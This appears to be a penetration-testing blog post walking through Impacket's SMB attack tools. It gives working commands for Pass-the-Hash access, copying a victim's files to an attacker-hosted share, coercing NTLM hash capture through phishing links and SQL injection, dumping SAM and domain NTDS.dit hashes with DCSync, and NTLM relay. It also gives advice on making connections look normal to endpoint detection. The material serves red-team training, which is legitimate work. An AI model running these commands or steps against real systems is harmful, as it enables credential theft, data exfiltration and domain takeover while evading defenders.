SMB is the core of how a Windows network actually moves data. Lateral movement, exfiltration, hosting payloads, plenty of privilege escalation paths — all of it ends up touching SMB at some point.
The previous post covered the native Samba smbclient, which is fast and has the best file-handling shell. This one is about Impacket, which fills the gaps the native client leaves: Pass-the-Hash, a stand-up SMB server you can spin in one command, NTLM relay, and the secrets-dumping tooling that takes you from Domain Admin to NTDS.dit in a single command.
Impacket is a set of Python classes for low-level network protocol work, originally from SecureAuth and now maintained by Fortra. It lets you craft packets and talk to Windows services in ways stock tools don’t.
This post focuses on four utilities: smbclient.py, smbserver.py, secretsdump.py, and ntlmrelayx.py.
pipx to keep your environment clean:
pipx install git+https://github.com/fortra/impacket.gitPart 1: smbclient.py#
The native smbclient is great at moving files around, but it doesn’t do Pass-the-Hash. That’s the main reason smbclient.py exists in your toolkit.
Pass-the-Hash#
When you’ve dumped SAM or LSASS, you almost never have the plaintext password — you have the NTLM hash. Impacket takes the hash directly:
# Syntax: -hashes LM:NT
# The LM part is almost always empty (or 32 zeros) in modern Windows.
# Format: user@target -hashes :NThash
smbclient.py -hashes :8846f7eaee8fb117ad06bdd830b7586c Administrator@10.10.10.5That alone is the reason this tool earns a spot in the rotation. Browse the filesystem, pull files, drop payloads — all without ever touching a password.
The shell#
The interactive shell behaves a little differently from the native client:
use <share>— connect to a specific shareshares— list available shares (needs permission)ls— list filesget <remote> <local>— downloadput <local> <remote>— uploadrecurse TRUE— toggle recursion formget
When to reach for it#
Three reasons:
- It does Pass-the-Hash without any tricks.
- It’s a Python module —
from impacket.smbconnection import SMBConnectionand you can build whatever scripted attack you need. - It runs the same on Linux, macOS, and Windows because it’s just Python.
Part 2: smbserver.py#
Where smbclient.py consumes shares, smbserver.py stands one up. It’s a pseudo-SMB server you can launch in one command, and it shows up in offensive workflows constantly.
Quick exfiltration#
You’re on a compromised Windows box via a reverse shell. You found passwords.xlsx, RDP copy/paste is disabled, and you can’t drop tools on the host.
On Kali (attacker):
# Syntax: smbserver.py <ShareName> <Path> # -smb2support is critical for modern Windows (10/11/Server 2016+) sudo smbserver.py LOOT . -smb2supportOn Windows (victim):
copy C:\Users\CEO\Desktop\passwords.xlsx \\10.10.14.5\LOOT\
No firewall changes (outbound SMB to a local subnet is usually allowed), no creds required on the Windows side because the default share is anonymous read/write.
UNC path injection for hash capture#
This is where smbserver.py gets dangerous. If you can coerce a Windows host or user into touching a UNC path you control, Windows will try to authenticate to your “server” automatically and hand you the user’s NetNTLMv2 hash in the process.
Start the server:
sudo smbserver.py AUTH . -smb2supportGet the victim to touch the path. A few common ways:
- Phishing — send an email with a link to
file://10.10.14.5/AUTH/bonus.docx. - Unquoted service paths where a service tries to launch
C:\Program Files\App.exe. - SQL injection on a database server —
xp_dirtree '\\10.10.14.5\AUTH'. - File inclusion or SSRF on a web app pointed at your IP.
- Phishing — send an email with a link to
Impacket logs the NetNTLMv2 hash. Crack it with Hashcat using
-m 5600.
Looking less anonymous#
EDRs flag anonymous SMB connections to unfamiliar IPs pretty reliably. You can put creds on your share so the connection looks like a normal authenticated map:
# Create a user/pass required to access the share
sudo smbserver.py -username backup -password 'S3cure!' BACKUP . -smb2supportThen on the victim:
net use Z: \\10.10.14.5\BACKUP /user:backup S3cure!
copy sensitive.dat Z:\It’s not invisible. A correctly mapped network drive with creds in the right place just doesn’t trip the same heuristics that an anonymous mount to a random IP does.
Part 3: secretsdump.py#
secretsdump.py is the tool you reach for when you want hashes — local, domain, all of them. It supports several techniques.
SAM and LSA dump (local admin)#
Give it local admin (plaintext or hash) and secretsdump:
- Connects to
ADMIN$. - Drops a small service binary.
- Runs it to dump the
SAMandSYSTEMregistry hives. - Parses them and prints local NTLM hashes.
- Cleans up.
# Dump local SAM hashes
secretsdump.py administrator@10.10.10.5 -hashes :NTHASHDCSync (domain admin or “Replicating Directory Changes”)#
If the account you have can replicate directory changes — Domain Admin, or any account specifically granted the right — secretsdump runs a DCSync. It speaks MS-DRSR (Directory Replication Service Remote Protocol) to a DC and asks it to replicate user secrets, the same way another DC would.
DCSync doesn’t generate any logon events on the user accounts it pulls — you never touch those endpoints. On the wire it mostly looks like DC-to-DC replication, which is why it went undetected in a lot of mature environments for years before SOCs started alerting specifically on DRSGetNCChanges calls from non-DC source addresses.
# Dump the ENTIRE Domain Database (NTDS.dit) remotely
secretsdump.py 'DOMAIN/Administrator:Password123@dc01.corp.local'You get NTLM hashes for every domain account, Kerberos AES128/256 keys (which is what you need for Golden Tickets), and any cleartext passwords stored with reversible encryption turned on (rare, but it happens).
NTDS.dit via VSS#
If DCSync isn’t an option but you do have admin on a DC, secretsdump can use Volume Shadow Copy to grab the locked NTDS.dit file and parse it offline:
secretsdump.py -use-vss Administrator@dc01.corp.localPart 4: ntlmrelayx.py#
Relaying is a simple idea. User A authenticates to you. You forward that authentication to Server B. Server B sees an authenticated User A and lets you in. The catch is that the protocol-level glue has to cooperate.
Why straight SMB-to-SMB relay usually fails#
If SMB Signing is enabled — and it is, on Domain Controllers, by default — you can’t relay an SMB authentication to another SMB endpoint. The signature won’t validate.
Relaying to other protocols#
The trick ntlmrelayx.py is built around: catch the SMB authentication (from Responder or smbserver.py) and relay it to a non-SMB service that still accepts NTLM and doesn’t enforce signing the same way. LDAP, IMAP, and HTTP services like AD CS web enrollment are the classic targets.
# SOCKS Proxy Mode (-socks)
# This creates a SOCKS proxy for every successful relayed session.
ntlmrelayx.py -tf targets.txt -smb2support -socksWorkflow looks like:
Victim authenticates to your listener.
ntlmrelayxrelays to whatever’s intargets.txt.On success, you get a SOCKS connection on port 1080.
Use it through
proxychains:proxychains smbclient //10.10.10.50/C$ -U Admin
Part 5: Native vs. Impacket SMB clients#
| Feature | smbclient (Native) | smbclient.py (Impacket) |
|---|---|---|
| Language | C (Samba) | Python |
| Pass-the-Hash | No (Requires workaround) | Yes (Native) |
| Kerberos | Yes (via -k) | Yes (via -k and -target) |
| Speed | Fast | Slower (Python overhead) |
| Scripting | Bash/Expect | Importable Python Module |
| Forensics | Looks like “Samba” | User-Agent defaults to Python/Impacket string (changeable in code) |
Part 6: Common Impacket errors#
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)Your clock is more than 5 minutes off from the DC. Sync it:
sudo ntpdate dc01.corp.local(orrdate -n <IP>).STATUS_SHARING_VIOLATIONThe remote file is locked open by something on the box (a loaded
NTUSER.DATis the classic example). Reach forsecretsdump.py -use-vssso you’re reading from a shadow copy and the file lock doesn’t matter.STATUS_MORE_PROCESSING_REQUIREDUsually shows up mid-NTLM negotiation. When it just hangs there, suspect Extended Protection for Authentication (EPA) blocking the relay or a dialect mismatch.
Wrapping up#
Impacket is what turned Windows network attacks from “stitch together five tools and write a Python wrapper” into one-liners. Which is also why every modern EDR has signatures for it, so don’t get too comfortable.
The piece worth carrying away isn’t the flag list — flags you can look up. It’s the protocol layer underneath. If you understand the difference between an SCM-style service execution (loud, leaves a service binary) and a DRSUAPI replication (quiet on the endpoint, very visible to anyone watching DC traffic), you can predict which path will burn you. Same for relay: once you actually understand signing, EPA, and channel binding, you stop guessing whether a captured hash is going to land or not.
UncleSp1d3r out.